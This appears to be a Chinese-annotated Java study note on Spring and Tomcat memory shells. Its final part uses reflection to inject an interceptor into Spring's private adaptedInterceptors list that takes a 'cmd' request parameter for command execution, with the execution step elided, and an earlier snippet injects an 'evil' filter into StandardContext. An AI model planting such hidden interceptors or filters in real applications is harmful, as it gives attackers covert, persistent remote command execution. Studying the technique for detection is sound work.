// Filter 需要 @WebFilter 告诉 Tomcat 来扫描
@WebFilter("/*")
public class MyFilter implements Filter { ... }

// Interceptor 需要 @Configuration/@Component 告诉 Spring 来扫描
@Configuration
public class WebConfig implements WebMvcConfigurer { ... }

// Tomcat 规定：Filter 必须实现这个接口
public interface Filter {
    void doFilter(...);
}

// Spring 规定：配置类实现这个接口
public interface WebMvcConfigurer {
    void addInterceptors(InterceptorRegistry registry);
}

// Spring 调用这个方法时，自己 new 了一个 registry 传进来
public void addInterceptors(InterceptorRegistry registry) {
    registry.addInterceptor(new EvilInterceptor());
}

// Filter 注册：直接往 StandardContext 里塞
standardContext.addFilterDef(filterDef);
standardContext.addFilterMapBefore(filterMap);
filterConfigs.put("evil", filterConfig);

// Interceptor 静态注册：通过 registry 中转
registry.addInterceptor(evilInterceptor); // 放进中转站
// Spring 自动把中转站里的东西转移到 adaptedInterceptors

// 内存马：跳过中转，直接塞进去
adaptedInterceptors.add(evilInterceptor);

package com.example.demos.web;

import org.springframework.stereotype.Component;
import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

// @Component — 告诉 Spring 这个类是一个组件，纳入容器管理
// 这样 WebConfig 里才能 @Autowired 注入它
// 其实可以不写，WebConfig 里直接 new 出来也行：new EvilInterceptor()
@Component
// HandlerInterceptor — Spring MVC 的拦截器接口，必须实现它
public class EvilInterceptor implements HandlerInterceptor {

    // preHandle — Controller 执行之前触发
    // 返回 true 放行，返回 false 拦截，请求到此为止
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle 触发了，请求路径：" + request.getRequestURI());
        return true; // 放行
    }

    // postHandle — Controller 执行之后触发
    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, org.springframework.web.servlet.ModelAndView modelAndView) {
        System.out.println("postHandle 触发了");
    }

    // afterCompletion — 响应渲染完成后触发，一般用来清理资源
    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) {
        System.out.println("afterCompletion 触发了");
    }
}

package com.example.demos.web;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

// @Configuration / @Component 都行
// Spring 启动时扫描的条件：
// 1. 类被 Spring 管理（有 @Component、@Configuration 等注解）
// 2. 实现了 WebMvcConfigurer 接口
// 满足这两个条件，Spring 就会自动调用 addInterceptors()
@Component
// 实现 WebMvcConfigurer 接口，重写 addInterceptors() 方法
public class WebConfig implements WebMvcConfigurer {

    // 前面写了 @Component 可以直接 @Autowired 注入
    // 如果不写 @Component 就需要改成：EvilInterceptor evilInterceptor = new EvilInterceptor();
    @Autowired
    private EvilInterceptor evilInterceptor;

    // 把拦截器注册进 Spring MVC
    // /* 只能拦截一级路径，/** 拦截所有路径（Ant 风格）
    // 对比 Filter（Servlet规范）：/* 就是所有路径，规范不同
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(evilInterceptor)
                .addPathPatterns("/**"); // 拦截所有路径
    }
}

// Java 版用 @Autowired 直接注入
@Autowired
private RequestMappingHandlerMapping handlerMapping;

// JSP 版手动取
WebApplicationContext context = WebApplicationContextUtils
        .getWebApplicationContext(request.getServletContext());
RequestMappingHandlerMapping handlerMapping =
        context.getBean(RequestMappingHandlerMapping.class);

Field field = null;
// 拿到 handlerMapping 当前类，从这里开始往上找
Class<?> clazz = handlerMapping.getClass();
while (clazz != null) {
    try {
        field = clazz.getDeclaredField("adaptedInterceptors");
        break; // 找到退出
    } catch (NoSuchFieldException e) {
        clazz = clazz.getSuperclass(); // 没找到往父类找
    }
}
field.setAccessible(true); // 破坏私有限制
List<HandlerInterceptor> adaptedInterceptors =
        (List<HandlerInterceptor>) field.get(handlerMapping);

// 正常具名类写法：先定义再实例化
public class EvilInterceptor implements HandlerInterceptor { ... }
EvilInterceptor evil = new EvilInterceptor();
adaptedInterceptors.add(evil);

// 匿名内部类写法：定义和实例化合并成一步，用完即丢
adaptedInterceptors.add(new HandlerInterceptor() {
    @Override
    public boolean preHandle(HttpServletRequest request,
                             HttpServletResponse response,
                             Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            // 执行命令，返回结果
            ...
            return false; // 拦截，不往下走
        }
        return true; // 没有 cmd 参数正常放行
    }
});